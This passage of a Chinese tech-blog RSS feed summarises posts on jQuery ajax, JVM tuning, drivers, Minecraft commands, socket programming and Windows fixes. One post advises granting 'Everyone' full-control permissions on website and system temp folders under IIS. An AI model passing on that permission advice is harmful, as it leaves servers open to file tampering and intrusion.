要求为String类型的参数，预期服务器返回的数据类型。如果不指定，JQuery将自动根据http包mime&#xA;信息返回responseXML或responseText，并作为回调函数参数传递。&#xA;可用的类型如下：&#xA;xml：返回XML文档，可用JQuery处理。&#xA;html：返回纯文本HTML信息；包含的script标签会在插入DOM时执行。&#xA;script：返回纯文本JavaScript代码。不会自动缓存结果。除非设置了cache参数。注意在远程请求&#xA;时(不在同一个域下)，所有post请求都将转为get请求。&#xA;json：返回JSON数据。&#xA;jsonp：JSONP格式。使用SONP形式调用函数时，例如myurl?callback=?，JQuery将自动替换后一个&#xA;“?”为正确的函数名，以执行回调函数。&#xA;text：返回纯文本字符串。&#xA;beforeSend：要求为Function类型的参数，发送请求前可以修改XMLHttpRequest对象的函数，例如添加自定义&#xA;HTTP头。在beforeSend中如果返回false可以取消本次ajax请求。XMLHttpRequest对象是惟一的参&#xA;数。&#xA;function(XMLHttpRequest){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;complete：要求为Function类型的参数，请求完成后调用的回调函数(请求成功或失败时均调用)。&#xA;参数：XMLHttpRequest对象和一个描述成功请求类型的字符串。&#xA;function(XMLHttpRequest, textStatus){&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;success：要求为Function类型的参数，请求成功后调用的回调函数，有两个参数。&#xA;(1)由服务器返回，并根据dataType参数进行处理后的数据。&#xA;(2)描述状态的字符串。&#xA;function(data, textStatus){&#xA;//data可能是xmlDoc、jsonObj、html、text等等&#xA;this; //调用本次ajax请求时传递的options参数&#xA;error：要求为Function类型的参数，请求失败时被调用的函数。该函数有3个参数，即XMLHttpRequest对象、错&#xA;误信息、捕获的错误对象(可选)。&#xA;ajax事件函数如下：&#xA;function(XMLHttpRequest, textStatus, errorThrown){&#xA;//通常情况下textStatus和errorThrown只有其中一个包含信息&#xA;this; //调用本次ajax请求时传递的options参数&#xA;}&#xA;contentType：要求为String类型的参数，当发送信息至服务器时，内容编码类型默认&#xA;为&#34;application/x-www-form-urlencoded&#34;。该默认值适合大多数应用场合。&#xA;dataFilter：要求为Function类型的参数，给Ajax返回的原始数据进行预处理的函数。&#xA;提供data和type两个参数。data是Ajax返回的原始数据，type是调用jQuery.ajax时提供的&#xA;dataType参数。函数返回的值将由jQuery进一步处理。&#xA;function(data, type){</description>
    </item>
    <item>
      <title>文档转换服务器,document: 文档转换服务器（支持ppt/pptx/doc/docx/excel/excels文件转成pdf文件，封装的转换工具用windows office/wps/openo...</title>
      <link>https://bchobby.github.io/posts/daf0aececa24612fd76f00eb478c9839/</link>
      <pubDate>Thu, 05 Aug 2021 14:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daf0aececa24612fd76f00eb478c9839/</guid>
      <description>{&#xA;&#34;data&#34;: [&#xA;{&#xA;&#34;createTimeStamp&#34;: &#34;1493860704943&#34;,&#xA;&#34;reAction&#34;: false,&#xA;&#34;taskContent&#34;: &#34;http://okxyat5ou.bkt.clouddn.com/1.ppt&#34;,&#xA;&#34;taskId&#34;: &#34;a1e5a65f-5b89-42fb-9ca8-8625774890df&#34;,&#xA;&#34;taskStatus&#34;: &#34;WAITING&#34;&#xA;},&#xA;{&#xA;&#34;createTimeStamp&#34;: &#34;1493860704946&#34;,&#xA;&#34;reAction&#34;: false,&#xA;&#34;taskContent&#34;: &#34;http://okxyat5ou.bkt.clouddn.com/2.docx&#34;,&#xA;&#34;taskId&#34;: &#34;8cc27f76-f3cd-45b2-b3aa-497e572d5ebe&#34;,&#xA;&#34;taskStatus&#34;: &#34;WAITING&#34;&#xA;},&#xA;{&#xA;&#34;createTimeStamp&#34;: &#34;1493860704951&#34;,&#xA;&#34;reAction&#34;: false,&#xA;&#34;taskContent&#34;: &#34;http://okxyat5ou.bkt.clouddn.com/3.doc&#34;,&#xA;&#34;taskId&#34;: &#34;d6fad0a6-14a1-40a1-b568-1eb2aa0db2e7&#34;,&#xA;&#34;taskStatus&#34;: &#34;WAITING&#34;&#xA;},&#xA;{&#xA;&#34;createTimeStamp&#34;: &#34;1493860704956&#34;,&#xA;&#34;reAction&#34;: false,&#xA;&#34;taskContent&#34;: &#34;http://okxyat5ou.bkt.clouddn.com/Java%E6%B3%9B%E5%9E%8B%E4%B8%8E%E5%8F%8D%E5%B0%84%E5%9C%A8%E5%BC%80%E5%8F%91%E4%B8%AD%E5%BA%94%E7%94%A8.pptx&#34;,&#xA;&#34;taskId&#34;: &#34;29d5a4a7-c7e5-44ff-9450-bfacb0a8256a&#34;,&#xA;&#34;taskStatus&#34;: &#34;WAITING&#34;&#xA;}&#xA;],&#xA;&#34;success&#34;: true&#xA;}&#xA;taskId:此次转换请求的任务执行情况跟踪的任务ID&#xA;taskContent:待转换文件在线链接地址，等同docFileUrl&#xA;taskStatus:任务状态(WATING：等待，EXECUTING:正在执行，SUCCESS:转换成功，FAILURE:转换失败)</description>
    </item>
    <item>
      <title>ajax有时好用有时不好用,jquery - jQuery AJAX提交按钮有时不起作用 - 堆栈内存溢出...</title>
      <link>https://bchobby.github.io/posts/e0f93326ab52f7cbf3ebc3ec1099548b/</link>
      <pubDate>Thu, 05 Aug 2021 14:23:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0f93326ab52f7cbf3ebc3ec1099548b/</guid>
      <description>大家问候&#xA;我使用链接作为JQuery AJAX提交按钮，有时在单击时会触发，而有时却不会。 射击失败是间歇性的。 提交AJAX表单后似乎发生了这种情况，但返回的错误却显示了出来。&#xA;然后，当我再次单击“提交”按钮/链接时，有时什么也没有发生，并且有时工作正常。 控制台上没有显示JavaScript错误。 这是我的代码的样子。 我会很感激你的想法。 我需要使用.live()吗？ 如果是这样，为什么？ 我在想，也许我不了解绑定的工作原理。&#xA;谢谢，-Northk&#xA;// make the comment form submit link behave as if it&#39;s a submit button.&#xA;// this code is inside $(document).ready. Corresponding HTML looks like:&#xA;// // // //&#xA;// Submit&#xA;//&#xA;$(function() {&#xA;$(&#39;#comment-button&#39;).click(function(e) {&#xA;e.preventDefault(); // prevent the browser from &#34;jumping&#34; on the page when it comes back from AJAX.&#xA;$(&#39;.comment-message-box&#39;).hide(); // clear any leftover errors that may be showing on the form</description>
    </item>
    <item>
      <title>win10打印机服务器属性修改,windows10专业版系统中解决更改打印机端口的方法</title>
      <link>https://bchobby.github.io/posts/d1618a298a3af6199f18fb9018914857/</link>
      <pubDate>Thu, 05 Aug 2021 14:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1618a298a3af6199f18fb9018914857/</guid>
      <description>windows10专业版系统中解决更改打印机端口的方法，当我们在win10系统中使用打印机的时候，可能会需要对打印机端口进行选择更改，然而有时候可能会遇到打印机端口无法选择的情况，碰到这样的问题该怎么办呢，本文就给大家讲解一下win10系统打印机端口无法选择的解决方法。但是在Win 10系统中更改打印机端口该怎么办呢，下面win7w站长就和大家一起来看看吧！&#xA;选择方法1：&#xA;1、鼠标点击桌面左下角开始图标&#xA;2、在开始菜单点击设置，如下图&#xA;3、在Windows设置界面点击【设备】&#xA;4、在接下来的界面的右侧，点击【设备和打印机】&#xA;5、鼠标右击打印机设备，点击【打印机属性】&#xA;6、在打印机属性界面，点击【端口】选项框&#xA;7、可以端口列表列出了很多端口，勾选相应的打印机端口，然后点击下面的【确定】&#xA;选择方法2：&#xA;打开设备和打印机&#xA;要在Win10中访问此部分，必须右键单击“开始”菜单图标，然后从选项列表中选择“控制面板”。之后，导航到“按部分查看”部分，并从“类别”更改为“大”或“小”图标。&#xA;然后，下一步是单击“设备和打印机”，如果已将打印机安装到计算机系统中，则可以在此处找到它。&#xA;2]更改打印机端口&#xA;现在，找到打印机后，右键单击设备，然后从屏幕上显示的菜单中选择打印机属性。 现在，您应该看到一个带有多个选项卡的新窗口。从这里，您将需要单击“端口”选项。 这就是你应该遇到一堆专门用于打印机的端口的地方。 现在，我们必须指出，如果你使用的是USB打印机，那么COM端口就没用了。对于LPT端口也是如此，因此在为您心爱的打印机选择端口之前，请记住这一点。&#xA;3]设置网络打印机功能&#xA;我们现在应该谈论的另一件事是网络。 小型企业，甚至家庭用户可能希望利用网络打印机功能。 如果这是您的事，那么您将需要单击虚拟打印机端口，然后从那里选择添加端口。&#xA;从弹出的窗口中，选择Standard TCP / IP Port，然后单击New Port。 您现在应该看到一个向导，只需单击“下一步”。&#xA;在下一节中，请务必将您已编程的DNS服务器或IP地址添加到打印机中。 添加后单击“下一步”，然后等待打印机与网络通信。</description>
    </item>
    <item>
      <title>win10系统cf连接服务器失败,win10系统cf连接服务器失败的解决方法</title>
      <link>https://bchobby.github.io/posts/a32b3a1faffeff58331233aa3aa75428/</link>
      <pubDate>Thu, 05 Aug 2021 13:57:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a32b3a1faffeff58331233aa3aa75428/</guid>
      <description>很多小伙伴都遇到过win10系统cf连接服务器失败的困惑吧，一些朋友看过网上零散的win10系统cf连接服务器失败的处理方法，并没有完完全全明白win10系统cf连接服务器失败是如何解决的，今天小编准备了简单的解决办法，只需要按照1.点击“游戏修复工具” 注意：在游戏管理中，你电脑上所安装的所有腾讯游戏都会出现在这里。不要选错需要修复的游戏。 2.点击“游戏修复工具”之后可以发现，TGP正在自动检测游戏环境。的顺序即可轻松解决，具体的win10系统cf连接服务器失败教程就在下文，一起来看看吧！&#xA;针对各位穿越火线玩家们遇到的连接服务器失败的问题，大家可以通过以上方法进行操作即可解决，有需要的用户快来试试吧！&#xA;win10系统cf连接服务器失败的解决思路：&#xA;1、将装好的CF游戏全部的卸载下来，包括注册表里面的内容和一些垃圾文件，建议在清理之后，利用360安全卫士等优化软件对电脑进行全面的清理。&#xA;2、然后对电脑进行一个全面的杀毒处理，彻底的查杀所有文件，放置电脑中存在病毒。&#xA;3、到官网里面下载最新的客户端进行安全，如果自己已经下载了最新的客户端，那么直接安装即可。&#xA;4、在安装的时候，我们选择安装地址必须是和之前的地址不一样的盘符。如之前的在D盘，那么我们这次就需要安装在E盘。&#xA;win10系统cf连接服务器失败的解决方法：&#xA;运行TGP，在“我的游戏”栏里，有游戏登录入口，暂时先不开启游戏。 首先，点击“工具”按钮。 打开TGP的游戏工具箱，点击工具箱中的“游戏管理”。&#xA;1.点击“游戏修复工具” 注意：在游戏管理中，你电脑上所安装的所有腾讯游戏都会出现在这里。不要选错需要修复的游戏。&#xA;2.点击“游戏修复工具”之后可以发现，TGP正在自动检测游戏环境。&#xA;检测完毕后，TGP会根据检测情况给出对应的解决方法，点击“一键修复”按照提示解决即可。&#xA;以上便是 小编给大家分享介绍win10系统cf连接服务器失败的解决方法！</description>
    </item>
    <item>
      <title>CMS：听我的，生产环境上要这样配置JVM参数</title>
      <link>https://bchobby.github.io/posts/2f74047b100db8256ed884b4e05db26e/</link>
      <pubDate>Thu, 05 Aug 2021 13:55:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f74047b100db8256ed884b4e05db26e/</guid>
      <description>哪怕JDK16 GA已经发布很久了，但是，可以肯定的是，绝大多数的生产环境依然运行的是JDK8。此处必须来一句：JDK8 yyds。既然运行的是JDK8，那么生产环境的垃圾回收器基本上就是下面3种啦：&#xA;默认垃圾回收器 笔者此篇文章只聚焦于如何配置一个比较合理的采用CMS作为垃圾回收器的JVM参数。首先要说的是，JDK8要使用CMS，那么必须显示申明，因为它采用的默认垃圾回收器是ParallelGC。如何验证它默认采用的垃圾回收器呢？非常简单，运行如下代码：&#xA;package com.afei.test.main; import java.util.ArrayList; import java.util.List; /** * @author 公众号: 阿飞的博客 */ public class Main { private static final int _1M = 1024*1024; public static void main(String[] args) { List&amp;lt;byte[]&amp;gt; byteList = new ArrayList&amp;lt;&amp;gt;(); for(int i=0; i&amp;lt;Integer.MAX_VALUE; i++){ byte[] test = new byte[_1M]; byteList.add(test); } } } 然后配置JVM参数：&#xA;-verbose:gc -XX:+PrintGCDetails 运行几秒钟后，我们强行停止JVM进程，就会在控制台中看到如下日志从而佐证JDK8采用的默认垃圾回收器就是ParallelGC：&#xA;[Full GC (Allocation Failure) [PSYoungGen: 342021K-&amp;gt;342021K(348672K)] [ParOldGen: 1397423K-&amp;gt;1397406K(1398272K)] 1739445K-&amp;gt;1739427K(1746944K), [Metaspace: 3357K-&amp;gt;3357K(1056768K)], 0.1902415 secs] [Times: user=0.</description>
    </item>
    <item>
      <title>jquery ajax和servlet,浅谈ajax在jquery中的请求和servlet中的响应</title>
      <link>https://bchobby.github.io/posts/1071eb5dc2ee5195ca919612aafda7c8/</link>
      <pubDate>Thu, 05 Aug 2021 12:59:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1071eb5dc2ee5195ca919612aafda7c8/</guid>
      <description>序号&#xA;业主名&#xA;金额&#xA;在servlet中用到了阿里巴巴的快速转换json的包com.alibaba.fastjson.JSON：&#xA;sqlException,IOException,ServletException{&#xA;HttpSession session=request.getSession();&#xA;request.setCharacterEncoding(&#34;UTF-8&#34;);&#xA;response.setContentType(&#34;text/html&#34;);&#xA;response.setCharacterEncoding(&#34;UTF-8&#34;);&#xA;Cookie[] cookies = request.getCookies();&#xA;int ownerId = 0;&#xA;for (int i = 0; i &amp;lt; cookies.length; i++) {&#xA;Cookie cookie = cookies[i];&#xA;if (cookie.getName().equals(&#34;ownerId&#34;)) {&#xA;ownerId = Integer.parseInt(cookie.getValue());&#xA;}&#xA;}&#xA;ListorderList = new ArrayList&amp;lt;&amp;gt;();&#xA;ListqueryEvaluateList = new ArrayList&amp;lt;&amp;gt;();&#xA;orderList = orderServiceImpl.queryOrderList(ownerId,null,null);&#xA;List&amp;gt; workers = new ArrayList&amp;gt;();&#xA;for(int i = 0;i &amp;lt; orderList.size();i++){&#xA;Maporder = new HashMap();&#xA;order.put(&#34;description&#34;,orderList.get(i).getDescription());&#xA;order.put(&#34;name&#34;,orderList.get(i).getOwnerName());&#xA;System.out.println(orderList.get(i).getDescription());</description>
    </item>
    <item>
      <title>x230无线网卡驱动服务器版,联想X230网卡驱动</title>
      <link>https://bchobby.github.io/posts/e2e4a87b25daa2d6387837f2d0512434/</link>
      <pubDate>Thu, 05 Aug 2021 12:23:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2e4a87b25daa2d6387837f2d0512434/</guid>
      <description>这是联想X230网卡驱动，是一款专为ThinkPad X230打造的无线网卡驱动程序，当然，这款驱动也支持其他机型，包括ThinkPad X220，X220i，X220 Tablet，X220i Tablet等等，如果您的笔记本电脑属于下列所列机型中的一款，而又碰巧出现，打开无线网卡开关后，仍然不能正常开启WIFI，那么您不妨来下载这款驱动，来解决您的电脑设备不能连接无线网络的问题。&#xA;软件安装&#xA;下载并安装(推荐)：&#xA;1.以管理员的身份登录 Windows 操作系统&#xA;2.单击立即下载按钮，当弹出文件下载对话框时，选择“保存”&#xA;3.下载驱动程序到您指定的位置&#xA;4.双击运行已经下载的驱动程序文件，按屏幕提示操作即可&#xA;直接安装(不推荐)：&#xA;1.以管理员的身份登录 Windows 操作系统&#xA;2.单击立即下载按钮，当弹出文件下载对话框时，选择“运行”按钮&#xA;3.系统将弹出安全警告，选择“运行”&#xA;4.按屏幕提示操作即可。&#xA;软件提示&#xA;- 如果使用ThinkVantage Access Connections软件，需同时安装以下程序：&#xA;- ThinkVantage Access Connections软件(Windows 7/XP)版本 5.90 或更高版本&#xA;- ThinkPad 电源管理驱动程序(Windows 98 SE/Me/2000/XP/Vista/7)版本1.65 或更高版本&#xA;- 集成System Interface的Hotkey驱动程序(Windows 7/Vista/XP)版本4.04.0003或更高版本。&#xA;软件更新&#xA;-(新增)提高驱动稳定性。&#xA;软件截图&#xA;相关软件&#xA;惠普m401dw黑白激光打印机驱动：这是惠普m401dw黑白激光打印机驱动，使用过程清小心使用，如果不慎把驱动删除了，可以下载惠普m401dw打印机驱动，让你的电脑打印机重新活过来。惠普m401dw是一台黑白激光打印机，该打印机拥有极强的负荷能力，打印分辨率为1200×1200dpi，同时采用鼓粉一体式的耗材，并且最大支持A4幅画。&#xA;联想E550无线网卡驱动：这是联想E550无线网卡驱动，是一款为ThinkPad E550笔记本打造的无线网卡驱动程序，这款驱动同时也可适用于ThinkPad E450,E450c,E550c,E455,E555等笔记本机型，如果您的联想笔记本属于这其中一款，又碰巧遇到笔记本打开无线网卡开关仍然无法连接WIFI的问题，不妨来下载这款驱动来解决。</description>
    </item>
    <item>
      <title>开启网站服务器写入权限,数据库写不进去IIS写入权限怎么设置</title>
      <link>https://bchobby.github.io/posts/ec3abcf50881a3fe15adcbfb407bc4f3/</link>
      <pubDate>Thu, 05 Aug 2021 10:29:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec3abcf50881a3fe15adcbfb407bc4f3/</guid>
      <description>后台内容无法更新，如基本设置保存不了，数据库写不进去，很有可能是Everyone权限问题，即Everyone 无权操作文件夹，按照下面的步骤操作即可&#xA;经常有刚刚使用cms网站的朋友会提到，后台内容无法更新，如基本设置保存不了，数据库写不进去。如果出现这些问题的可以参考以下方法解决。&#xA;首先查看网站所在的硬盘是不是NTFS格式。如果是很有可能是Everyone权限问题，即Everyone 无权操作文件夹，操作方法：&#xA;第一：在文件夹的菜单栏中点“工具”--&amp;gt; 文件夹选项 --&amp;gt; 查看，取消[使用简单文件共享(推荐)的 √，然后确定。&#xA;第二：在网站所在的文件夹上点右键，选择“属性”--&amp;gt;安全，给Everyone或者Users(根据系统不同选择)完全控制的权限，也就是在允许下面全打上√，然后确定。&#xA;第三：然后重启IIS即可。&#xA;如果你的是Win7系统或者系统盘为NTFS格式的还需要设置C:\WINDOWS\temp 文件夹Everyone同样权限!&#xA;======================以上设置针对的是本地电脑，以下设置针对的是2003服务器======================&#xA;大部分初学者都是使用本地XP系统做服务器的，当然有时我们还可能会使用到2003服务器呢。所以以下是针对2003服务器设置。&#xA;1、首先把网站全部得到或者FTP到服务器中，假如是wwwroot文件夹中。&#xA;2、在wwwroot文件夹上点右键选择“属性”--“安全” 如果没有Internet 来宾帐户 请点击“添加”--“高级”--“立刻查找”--然后选择“IUSR_用户名-xxxx”确定即可。&#xA;3、选择Internet 来宾帐户分配以下权限：读取和运行，列出文件夹目录，读取。如图&#xA;如果没有分配权限浏览网站时会出现一个登陆窗口，如下图片：&#xA;4、针对有些文件夹是同时需要选择“写入”权限的，如上传目录、数据库目录，这些权限需要你分别一个个设置。方法与上面一样，只是多选择一个“写入”而已。如果上传目录还支持文件在线删除的话，那你就需要点击“高级”进入高级安全设置，新增相应删除权限，甚至是完全控制。&#xA;经验：&#xA;1、如果是纯静态页网站，请不要添加写入与删除功能，那么你的空间就是百毒不侵。&#xA;2、如果有写入权限，无修改与删除功能，那么你的网站也是非常安全的，就算有入侵它所有写入的文件都不能更改(留下足迹)而你网站本身的文件也是相当安全。唯一的是可能会写入很多垃圾文件。&#xA;3、如果有修改权限，那么与有删除权限其实是一样的。因为一个文件就算删除不了，我把内容清空那与删除这个文件是一样的效果。所以分配这些权限需要小心谨慎。</description>
    </item>
    <item>
      <title>服务器装系统花屏,电脑重装系统要完成的时候，花屏了。</title>
      <link>https://bchobby.github.io/posts/ca7bb546be32410ca7a6c14691d2755e/</link>
      <pubDate>Thu, 05 Aug 2021 09:16:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca7bb546be32410ca7a6c14691d2755e/</guid>
      <description>电脑重装系统要完成的时候，花屏了。&#xA;东芝笔记本电脑，型号东芝L205，之前开不起机，在四川的时候去找修理的看过，说是显卡坏了，但是电脑是集成显卡，修的话要1000多块了(不知被骗没有)。最近拿来上海了，也去找修理点看过了。一开始也是开不起机，后来就接到他店里的台机的显示器上面来开机，开机倒是开起了。。(这时候他也说是显卡坏了)然后，那人又倒腾了两下，然后就不接台机显示器了，竟然自己开机开起来了，然后这时候这人说显卡是好的。但还是开机很慢(非常慢，很久的黑屏，都不知道是开着的一样)，而且开机貌似也有问题，然后他说是系统的问题，(这个我认同，系统是有问题，之前装机的时候，别人装那个系统盘就不全，后来用 360急救箱 恢复过)。这时候，他说可以帮我重装系统，但费用50块钱，然后我就拿回来了，找了好几个人，拿了好几张不同的系统盘来自己装机。这时候，开机就一直能开起来了，只是要很久很久。(这期间，还用灌装氮气吹了吹电脑的几个散热孔的地方，然后电脑一直不出风的散热口开始吹风出来了，也没那么烫了，很搞)用第一张系统盘和第二张系统盘的时候，装机电脑没反应，很久很久的没反应，所以就换了个盘(电脑有反应，也能装)，但是在装系统的时候，装到马上就要完成了，估计在要个一两分钟就要完全装好的时候，电脑屏幕花屏了，没反应了。然后重新来过，还是那样，每次到系统要完成的时候，就花屏了。怎么回事？问同学，同学说他的台机之前也花屏，最后自己拆了后发现电容坏了，最后自己去换了。我就想知道，到底我的显卡坏没有？花屏是怎么回事，为啥每次都是要到装机完成的时候才花屏。。求助～～～～～～～～～～～～～～～～～～～～～</description>
    </item>
    <item>
      <title>我的世界服务器指令系统,我的世界中国版最全指令 MC指令最全合集</title>
      <link>https://bchobby.github.io/posts/2b47fbd5714770dfd4327b5b99d9ddf2/</link>
      <pubDate>Thu, 05 Aug 2021 08:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b47fbd5714770dfd4327b5b99d9ddf2/</guid>
      <description>我的世界中国版这款游戏越来越受欢迎，玩家们掌握了不少MC指令，这些指令作用很多，超好玩小编也经常使用这些指令，一段时间的体验让小编得到了丰富的知识，今天给大家分享一份我的世界中国版最全指令哟~~这可是一份MC指令最全合集，相信各位小伙伴也想要知道，那么一起来看看吧，希望对大家有所帮助。&#xA;我的世界中国版最全指令 MC指令最全合集&#xA;单机指令(部分多人也适用)&#xA;/gamemode 0是生存(极限)模式&#xA;/gamemode 1是创造模式&#xA;/gamemode 2是冒险模式(必须用特定的武器才能消除方块)&#xA;/gamemode 3是生存(极限)模式&#xA;/give 你的名字 137 1 能得到命令方块，在里面输&#xA;死亡不掉落： /gamerule keepInventory true&#xA;防爆： /gamerule mobGriefing False&#xA;重设出生点：/spawnpoint @ a&#xA;ascend - 把自己提升到上一个平台&#xA;bind {命令关键字} - 设置一键命令&#xA;clear - 清空控制台&#xA;damage - 关闭或者开启伤害 即无敌&#xA;descend - 把自己移动到下面一个的平台&#xA;destroy [all] - 破坏当前的东西(背包)&#xA;defuse [all] - 拆弹(拆除已经点燃了的TNT炸药)&#xA;difficulty- 设置游戏难度&#xA;dropstore - 在身边创建一个储物柜&#xA;*drops - 开关物品掉落，关闭的话采矿打怪不掉东西。&#xA;dupe [all] - 复制东西&#xA;duplicate [all] - 复制手上的东西并丢出来</description>
    </item>
    <item>
      <title>tcp服务器如何做网络断开修改,TCP服务器模式SOCKET循环周期断开部分 - 如何使用网络单片机W7100A实现TCP通信？...</title>
      <link>https://bchobby.github.io/posts/a8cc83e545b32a54ad9f460f35ccb87c/</link>
      <pubDate>Thu, 05 Aug 2021 08:16:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8cc83e545b32a54ad9f460f35ccb87c/</guid>
      <description>1.6断开(DISCONNECT)&#xA;关闭SOCKET的方法通常有两种：第一种方法是通过DISCONNECT(n)函数。DISCONNECT(n)函数不能用来直接关闭SOCKET。它先向对端发送断开连接请求(FIN数据包)，然后等待回复信息(FIN/ACK数据包)，之后才能将SOCKET的状态变成SOCK_CLOSED(0×00)，最后关闭SOCKET。当收到断开连接请求时，W7100A发送一个FIN/ACK数据包表示允许对端关闭SOCKET。如果在发送断开连接请求之后没有收到对端的回复，将会发生TCP超时，SOCKET的状态将会变成SOCKET_CLOSED(0×00)。当用户需要断开连接时，通过DISCONNECT()函数，选择合适的SOCKET号，然后发送断开连接请求。&#xA;例1.6设置断开连接&#xA;1.7关闭(CLOSE)&#xA;和断开的过程不同，关闭过程可以直接将SOCKET变成SOCK_CLOSED(0×00)。用户通过&#xA;CLOSE(n)函数选择合适的端口号，然后无论对端有没有做出响应都将关闭SOCKET。如果RST数据包来自对端，SOCKET将会无条件变成SOCK_CLOSED(0×00)。一旦SOCKET变成为SOCK_CLOSED(0X00)，SOCKET将不再可用除非重新打开它。&#xA;例1.7设置关闭&#xA;2TCP回路测试(LOOPBACK)&#xA;2.1服务器模式&#xA;TCP回路测试可以通过回送来自于对端的数据从而检测TCP协议的性能。这一章节将会介绍服务器模式下回路测试的例子。程序范例如下：&#xA;例2.1设置回路测试(LOOPBACK)服务器&#xA;如上面的例子所示，在SOCKET循环周期内除了connect()函数，其他所有函数都可以使用。首先利用getSn_SR(s)函数检测SOCKET状态，在W7100A复位后，所有的SOCKET全都变成SOCK_CLOSED(0×00)状态。然后利用close()函数完全关闭SOCKET，再通过socket(s，Sn_MR_TCP，port，0×00)函数来创建一个新的SOCKET。如果SOCKET创建成功，状态将会变成SOCK_INIT，再通过listen(s)函数将SOCKET的状态变成监听。一旦与对端建立连接，SOCKET的状态将变成SOCK_ESTABLISHED，并且等待数据。所有接收到的数据都保存在接收缓存器中，recv(s，data_buf，len)函数中的data_buf变量定义为接收到的数据的长度。最后再通过send(s，data，len)函数将数据回送到客户端。客户端会比较数据交换前后的差异来检测数据通信是否正常。</description>
    </item>
    <item>
      <title>百望税控服务器管理系统安装,电子发票客户端安装和配置操作说明</title>
      <link>https://bchobby.github.io/posts/237f857daa3096d02809912299616841/</link>
      <pubDate>Thu, 05 Aug 2021 07:22:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/237f857daa3096d02809912299616841/</guid>
      <description>原标题：电子发票客户端安装和配置操作说明&#xA;百望云发票助手是一款专业电子发票开票平台，可以从税控盘和税控服务器导入和更新商品编码，并为用户提供开票、打印等功能，让你的工作可以更简单。具体操作如下：&#xA;一、安装完百望云助手，开启云助手。如下图所示：&#xA;1、点击“启动”按键，输入下图的税号和开票终端号码。如下图所示：&#xA;税号：*******************&#xA;开票终端代码：******&#xA;2、输入完税号和开票终端代码后，点击“确定”。如下图所示：&#xA;二、报税盘分发&#xA;1、登录百望云网站，点击“立即注册”，准确输入注册信息，再使用用户名和密码登录，如下图所示：&#xA;2、登录百望云系统，点击销项管理项目中的“立即进入”，如下图所示：&#xA;3、依次点击“云开票”—“发票流转管理”—“报税盘分发”。如下图所示：&#xA;(1)发票已从税局领购并将报税盘插在电脑上，输入报税盘口令、设备编号，选择发票类型，点击“查询”；&#xA;(2)选择需要领购的发票号段，点击报税盘“发票分发”，把报税盘里的发票分发到系统里，输入“报税盘分发”报税盘口令：*********&#xA;4、“报税盘分发”完成后，操作“发票分发”，将发票分发到开票终端。如下图所示：&#xA;5、输入分发份数，点击“分发”，系统提示分发状态为“成功”，即表示报税盘分发完成。如下图所示：&#xA;编辑人：陈 航 陈桂芳 彭银莲返回搜狐，查看更多&#xA;责任编辑：</description>
    </item>
    <item>
      <title>高性能服务器连接显示器花屏,Windows10 1607 1709公布：解决多显示器花屏</title>
      <link>https://bchobby.github.io/posts/5f202bb5695284bb9ceca8328cb68d80/</link>
      <pubDate>Thu, 05 Aug 2021 05:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f202bb5695284bb9ceca8328cb68d80/</guid>
      <description>【PConline资讯】今晨，微软面向Windows 10年度更新(Version 1607)发布了累积更新，补丁代号KB4051033，升级后版本迭代为Build 14393.1914。&#xA;Version 1607原定于明年3月停止服务，不过由于微软在本月中旬宣布为其前一版Build 10586延长6个月支持到明年3月，所以Version 1607看来也会顺延一段时间了。&#xA;值得一提的是，报道称，Windows 10的更新历史清单中已经出现了Build 16299.96，也就是新的秋季创意者更新正式版，补丁代号KB4051963，不过尚未进入发布通道，日志也未公开，预计会在今天晚些时候上线。&#xA;Build 14393.1914的主要更新内容有：&#xA;1、修复连接多个USB 3.0 显示设备时，刷新内容会导致花屏&#xA;2、修复内建服务调用账户的错误&#xA;3、修复Bitlocker加密/解密驱动器式，EFS文件崩溃&#xA;4、修复从文件服务器打开含有Windows保护信息的Office文件时，出现无法打开提示等20余项BUG。</description>
    </item>
    <item>
      <title>win10dnf服务器未响应,win10系统dnf老是未响应的解决步骤</title>
      <link>https://bchobby.github.io/posts/919e27b0fdcaa80cb46454e15f16ca87/</link>
      <pubDate>Thu, 05 Aug 2021 02:30:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/919e27b0fdcaa80cb46454e15f16ca87/</guid>
      <description>win10系统使用久了，好多网友反馈说win10系统dnf老是未响应的问题，非常不方便。有什么办法可以永久解决win10系统dnf老是未响应的问题，面对win10系统dnf老是未响应的图文步骤非常简单，只需要1、右键桌面地下城与勇士快捷方式，打开文件所在的目录 2、打开目录中TCLs文件夹，找到Repair.exe文件双击打开即可开始修复dnF就可以了。就可以解决win10系统dnf老是未响应的问题，针对此问题小编给大家收集整理的问题，针对此问题小编给大家收集整理具体的图文步骤：&#xA;判断一、游戏组件损坏及丢失问题&#xA;1、右键桌面地下城与勇士快捷方式，打开文件所在的目录&#xA;2、打开目录中TCLs文件夹，找到Repair.exe文件双击打开即可开始修复dnF&#xA;3、可以使用wegame腾讯助手进行一键修复&#xA;4、亦可选择卸载游戏重装&#xA;判断二、无法达到dnF最低配置&#xA;1、升级硬件配置，达到并超过dnF最低配置门槛&#xA;判断三、网络不稳定问题&#xA;1、检查wiFi是否稳定，重启路由器&#xA;2、检查网线接口，检查是否松动重新加固即可&#xA;以上，便是w7系统玩dnf未响应的解决办法了，遇到问题的玩家们可以跟着小编的分析排除问题，希望能帮到的大家。</description>
    </item>
    <item>
      <title>tpc-c 服务器性能,TPC-E和TPC-C测试结果比较之我见</title>
      <link>https://bchobby.github.io/posts/752b1ab7e14fe5f096459568aa76b2e9/</link>
      <pubDate>Thu, 05 Aug 2021 00:52:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/752b1ab7e14fe5f096459568aa76b2e9/</guid>
